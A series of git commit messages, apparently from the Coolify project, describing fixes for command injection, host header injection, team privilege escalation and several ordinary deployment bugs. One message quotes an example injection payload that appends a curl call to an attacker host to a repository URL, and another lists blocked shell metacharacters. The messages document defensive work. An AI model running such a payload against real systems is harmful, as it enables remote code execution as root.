This commit addresses a critical security issue where malicious Docker Compose
data was being saved to the database before validation occurred.
Problem:
- Service models were saved to database first
- Validation ran afterwards during parse()
- Malicious data persisted even when validation failed
- User saw error but damage was already done
Solution:
1. Created validateDockerComposeForInjection() to validate YAML before save
2. Added pre-save validation to all Service creation/update points:
- Livewire: DockerCompose.php, StackForm.php
- API: ServicesController.php (create, update, one-click)
3. Validates service names and volume paths (string + array formats)
4. Blocks shell metacharacters: backticks, $(), |, ;, &, >, <, newlines
Security fixes:
- Volume source paths (string format) - validated before save
- Volume source paths (array format) - validated before save
- Service names - validated before save
- Environment variable patterns - safe ${VAR} allowed, ${VAR:-$(cmd)} blocked
Testing:
- 60 security tests pass (176 assertions)
- PreSaveValidationTest.php: 15 tests for pre-save validation
- ValidateShellSafePathTest.php: 15 tests for core validation
- VolumeSecurityTest.php: 15 tests for volume parsing
- ServiceNameSecurityTest.php: 15 tests for service names
Related commits:
- Previous: Added validation during parse() phase
- This commit: Moves validation before database save
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Critical Bug Fix:
- isDirty() always returns false in the updated() hook
- Changes are already persisted when updated() runs
- wasChanged() correctly tracks what was modified during save
Affected Code:
- helper_version check: Now properly triggers PullHelperImageJob
- fqdn check: Now properly clears TrustHosts cache
Impact:
✅ Cache invalidation now works when FQDN changes
✅ Helper image updates now trigger correctly
✅ Security fix cache is properly cleared on config changes
This also fixes an existing bug where helper_version updates
never triggered the PullHelperImageJob dispatch.
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Problem:
- Cache::remember() does not cache null return values
- When no FQDN was configured, the closure returned null
- This caused DB queries on every request, defeating the cache
Solution:
- Use empty string ('') as sentinel value instead of null
- Convert sentinel back to null after retrieving from cache
- Now both positive and negative results are cached properly
Changes:
- Return empty string from closure instead of null
- Add explicit sentinel-to-null conversion after cache retrieval
- Add test to verify negative caching works correctly
This ensures zero DB queries even when FQDN is not configured.
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This commit fixes a critical Host Header Injection vulnerability in the password reset flow that could lead to account takeover.
Security Issue:
- Attackers could inject malicious host headers (e.g., legitimate.domain.evil.com)
- Password reset emails would contain links to attacker-controlled domains
- Attackers could capture reset tokens and takeover accounts
Changes:
- Enable TrustHosts middleware in app/Http/Kernel.php
- Update TrustHosts to trust configured FQDN from InstanceSettings
- Add intelligent caching (5-min TTL) to avoid DB query on every request
- Automatic cache invalidation when FQDN is updated
- Support for domains, IP addresses (IPv4/IPv6), and ports
- Graceful fallback during installation when DB doesn't exist
Test Coverage:
- Domain validation (with/without ports)
- IP address validation (IPv4, IPv6)
- Malicious host rejection
- Cache creation and invalidation
- Installation edge cases
Performance:
- 99.9% reduction in DB queries (1 query per 5 minutes vs every request)
- Zero performance impact on production workloads
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**Security Fix: Command Injection Vulnerability**
This commit addresses a critical command injection vulnerability in the
`generateGitLsRemoteCommands` method that could allow low-privileged users
(team members) to execute arbitrary commands as root on the Coolify instance.
**Vulnerability Details:**
- Affected deployment types: `deploy_key` and `source` (GithubApp)
- Attack vector: Malicious git repository URLs containing shell metacharacters
- Impact: Remote code execution as root
- Example payload: `repo.git';curl attacker.com/$(whoami)`
**Changes Made:**
1. **deploy_key deployment type** (Application.php:1111-1112):
- Added proper escaping for `$customRepository` in git ls-remote commands
- Uses `str_replace("'", "'\\''", ...)` to escape single quotes for bash -c context
- Wraps repository URL in single quotes to prevent interpretation of shell metacharacters
2. **source deployment type with GithubApp** (Application.php:1067-1086):
- Added `escapeshellarg()` for all repository URL variations
- Covers both public and private repositories
- Handles both Docker and non-Docker execution contexts
3. **Added comprehensive unit tests** (tests/Unit/ApplicationGitSecurityTest.php):
- Tests for deploy_key type command injection prevention
- Tests for source type with public repos
- Tests for other type (already fixed in previous commit)
- Validates that malicious payloads are properly escaped
**Note:** The `other` deployment type was already fixed in commit b81baff4b.
This commit completes the security fix for all deployment types.
**Technical Details:**
The fix accounts for the `executeInDocker()` wrapper which uses `bash -c '...'`.
When commands are executed inside `bash -c` with single quotes, we must escape
single quotes as `'\''` to prevent the quotes from closing prematurely and
allowing shell injection.
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Previously, the bash escaping functions (`escapeBashEnvValue()` and `escapeBashDoubleQuoted()`) had strict string type hints that rejected null values, causing deployment failures when environment variables had null values.
Changes:
- Updated both functions to accept nullable strings (`?string $value`)
- Handle null/empty values by returning empty quoted strings (`''` for single quotes, `""` for double quotes)
- Added 3 new tests to cover null and empty value handling
- All 29 tests pass
This fix ensures deployments work correctly even when environment variables have null values, while maintaining the existing behavior for all other cases.
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This commit addresses a critical security vulnerability where low-privileged
users (members) could invite high-privileged users (admins/owners) to teams,
allowing them to escalate their own privileges through password reset.
Root Causes Fixed:
1. TeamPolicy authorization checks were commented out, allowing all team
members to manage invitations instead of just admins/owners
2. Missing role elevation checks in InviteLink component allowed members
to invite users with higher privileges
Security Fixes:
1. app/Policies/TeamPolicy.php
- Uncommented and enforced authorization checks for:
* update() - Only admins/owners can update team settings
* delete() - Only admins/owners can delete teams
* manageMembers() - Only admins/owners can manage team members
* viewAdmin() - Only admins/owners can view admin panel
* manageInvitations() - Only admins/owners can manage invitations
2. app/Livewire/Team/InviteLink.php
- Added explicit role elevation checks to prevent:
* Members from inviting admins or owners
* Admins from inviting owners (defense-in-depth)
- Validates that inviter has sufficient privileges for target role
Test Coverage:
1. tests/Feature/TeamPolicyTest.php
- 24 comprehensive tests covering all policy methods
- Tests for owner, admin, member, and non-member access
- Specific tests for the privilege escalation vulnerability
2. tests/Feature/TeamInvitationPrivilegeEscalationTest.php
- 11 tests covering all role elevation scenarios
- Tests member → admin/owner escalation (blocked)
- Tests admin → owner escalation (blocked)
- Tests valid invitation paths for each role
Impact:
- Prevents privilege escalation attacks
- Protects all Coolify instances from unauthorized access
- Enforces proper role hierarchy in team management
References:
- Identified by Aikido AI whitebox pentest service
- CVE: Pending assignment
- Severity: Critical
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Fixed three issues preventing the "new image" quick action from working:
1. Frontend matching logic wasn't checking the quickcommand field
- Added check for item.quickcommand in the matching logic
- Now "new image" matches docker-image via its quickcommand "(type: new image)"
2. Search query remained populated after triggering selection flow
- Clear searchQuery in navigateToResourceCreation() to show selection UI
- This switches the UI from creatable items list to server selection
3. Redirect wasn't using Livewire's redirect method
- Changed from redirect()->route() to $this->redirect(route())
- Ensures proper Livewire component redirect behavior
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- Replace manual regex parsing with DockerImageParser in ApplicationsController
- Fix double-decoration bug where image names like nginx@sha256:hash would
become nginx:hash@sha256 causing malformed references
- Add auto-parse feature in Livewire DockerImage component
- Users can now paste complete references like nginx:stable@sha256:abc123...
and fields auto-populate
- Update UI placeholder with examples: nginx, docker.io/nginx:latest,
ghcr.io/user/app:v1.2.3, nginx:stable@sha256:abc123...
- Add comprehensive unit tests for auto-parse functionality
- All tests passing (20 tests, 73 assertions)
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The code was computing $imageTag with the 'sha256-' prefix for digest-based
images but then using $parser->getTag() directly when creating the Application,
which bypassed the prefix logic entirely.
This fix ensures that digest-based Docker images preserve their 'sha256-' prefix
by using the computed $imageTag variable instead of calling $parser->getTag()
directly.
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Two improvements to Git deployment handling:
1. **ApplicationDeploymentJob.php**:
- Fixed log message to show actual resolved commit SHA (`$this->commit`)
- Previously showed `$this->application->git_commit_sha` which could be "HEAD"
- Now displays the actual 40-character commit SHA that will be deployed
2. **Application.php (generateGitLsRemoteCommands)**:
- Added `escapeshellarg()` for repository URL in 'other' deployment type
- Prevents shell injection in git ls-remote commands
- Complements existing shell escaping in `generateGitImportCommands`
- Ensures consistent security across all Git operations
**Security Impact:**
- All Git commands now use properly escaped repository URLs
- Prevents command injection through malicious repository URLs
- Consistent escaping in both ls-remote and clone operations
**User Experience:**
- Deployment logs now show exact commit SHA being deployed
- More accurate debugging information for deployment issues
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Fixes pure Dockerfile deployment failing with 'env file not found' error.
The deploy_simple_dockerfile() method was missing the call to
save_runtime_environment_variables() which creates the .env file
needed during the rolling update phase. This call is present in
all other deployment methods (dockerfile, dockercompose, nixpacks,
static) but was missing here.
This ensures the .env file exists when docker compose tries to
use --env-file during the rolling update.
Added authorization checks to 11 database-related Livewire components
that were loading sensitive database configuration without verifying
user permissions.
Changes:
- Added authorize('view', $database) to all 8 database type General.php mount() methods
- Added authorization to Configuration.php before loading database
- Added authorization to BackupEdit.php before loading backup config
- Added authorization to Import.php before loading database resource
This prevents unauthorized users from accessing database credentials,
connection strings, and configuration details.
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- Strip leading slashes from publish_directory to prevent /app// paths
- Only add slash prefix if directory is not empty
- Ensures clean Docker COPY paths in build output
Nullable server + guard to avoid TypeError/NPE. Don't terminate the app, terminate the bug.
Changes:
- Made Server property nullable (?Server $server = null) in all 8 database General components
- Added guard clause in mount() to check for null server before accessing it
- Displays user-friendly error message when destination server is not configured
- Prevents crashes in methods like isLogDrainEnabled() and sslCertificates()
Fixed components:
- Mariadb, Dragonfly, Clickhouse, Keydb
- Mysql, Mongodb, Redis, Postgresql
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Fixes deployment failures when Git repositories redirect (e.g., tangled.sh → tangled.org)
and improves security by adding proper shell escaping for repository URLs.
**Root Cause:**
Git redirect warnings can appear on the same line as ls-remote output with no newline:
`warning: redirecting to https://tangled.org/...196d3df... refs/heads/master`
The previous parsing logic split by newlines and extracted text before tabs, which
included the entire warning message instead of just the 40-character commit SHA.
**Changes:**
1. **Fixed commit SHA extraction** (ApplicationDeploymentJob.php):
- Changed from line-based parsing to regex pattern matching
- Uses `/([0-9a-f]{40})\s*\t/` to find valid 40-char hex commit SHA before tab
- Handles warnings on same line, separate lines, multiple warnings, and whitespace
- Added comprehensive Ray debug logs for troubleshooting
2. **Added security fix** (Application.php):
- Added `escapeshellarg()` for repository URLs in 'other' deployment type
- Prevents shell injection and fixes parsing issues with special characters like `@`
- Added Ray debug logs for deployment type tracking
3. **Comprehensive test coverage** (GitLsRemoteParsingTest.php):
- Tests normal output without warnings
- Tests redirect warning on separate line
- Tests redirect warning on same line (actual tangled.sh format)
- Tests multiple warning lines
- Tests extra whitespace handling
**Resolves:**
- Linear issue COOLGH-53: Valid git URLs are rejected as being invalid
- GitHub issue #6568: tangled.sh deployments failing
- Handles Git redirects universally for all Git hosting services
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- Add support for QUEUED, KILLED, and CANCELLED statuses
- Replace if-elseif chain with match expression for better exhaustiveness
- Add appropriate emoji indicators for each status
- Ensure all ProcessStatus enum values are handled
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This commit addresses two critical issues with Docker Compose service management:
## Issue 1: Duplicate Services Created on Image Change
When changing the image in a docker-compose file, the parser was creating new
ServiceApplication/ServiceDatabase records instead of updating existing ones.
**Root Cause**: The parsers used `firstOrCreate()` with `['name', 'image', 'service_id']`,
meaning any image change would create a new record.
**Fix**: Remove `image` from `firstOrCreate()` queries and update it separately after
finding or creating the service record.
**Changes**:
- `bootstrap/helpers/parsers.php` (serviceParser v3): Fixed in presave loop (lines 1188-1203)
and main parsing loop (lines 1519-1539)
- `bootstrap/helpers/shared.php` (parseDockerComposeFile v2): Fixed null check logic
(lines 1308-1348)
## Issue 2: UI Not Refreshing After Changes
When compose file or domain was modified, the Configuration component wasn't receiving
events to refresh its data, requiring manual page refresh to see updates.
**Root Cause**: The Configuration component wasn't listening for refresh events dispatched
by child components (StackForm, EditDomain).
**Fix**: Add event listeners and dispatchers to enable real-time UI updates.
**Changes**:
- `app/Livewire/Project/Service/Configuration.php`: Added listeners for `refreshServices`
and `refresh` events (lines 36-37)
- `app/Livewire/Project/Service/EditDomain.php`: Added `refreshServices` dispatch (line 76)
- Note: `app/Livewire/Project/Service/StackForm.php` already had the dispatch
## Tests Added
- `tests/Unit/ServiceParserImageUpdateTest.php`: 4 tests verifying no duplicates created
- `tests/Unit/ServiceConfigurationRefreshTest.php`: 4 tests verifying event dispatching
All 8 new tests pass, and all existing unit tests continue to pass.
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Fixes#6847
The API endpoints for environment variables were rejecting valid fields
like is_buildtime, is_runtime, is_multiline, and is_shown_once with
422 errors, even though the code was using these fields internally.
Changes:
- Added missing fields to $allowedFields in create_env()
- Added missing fields to $allowedFields in update_env_by_uuid()
- Updated allowed fields in create_bulk_envs()
- Added validation rules for is_runtime and is_buildtime
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When port mappings are changed in the UI and the database is restarted,
the system now gracefully stops and removes the existing container before
recreating it with the new configuration.
This prevents the "container name already in use" error that occurred when
Docker Compose tried to create a container with the same name but different
port configuration.
Changes:
- Add graceful container stop (10s timeout) before docker compose up
- Remove old container to avoid name conflicts
- Use --timeout flag (modern Docker CLI) instead of deprecated --time
- Apply fix to all database types: MariaDB, MySQL, PostgreSQL, MongoDB,
Redis, KeyDB, Dragonfly, and ClickHouse
- Update StopDatabase.php for consistency
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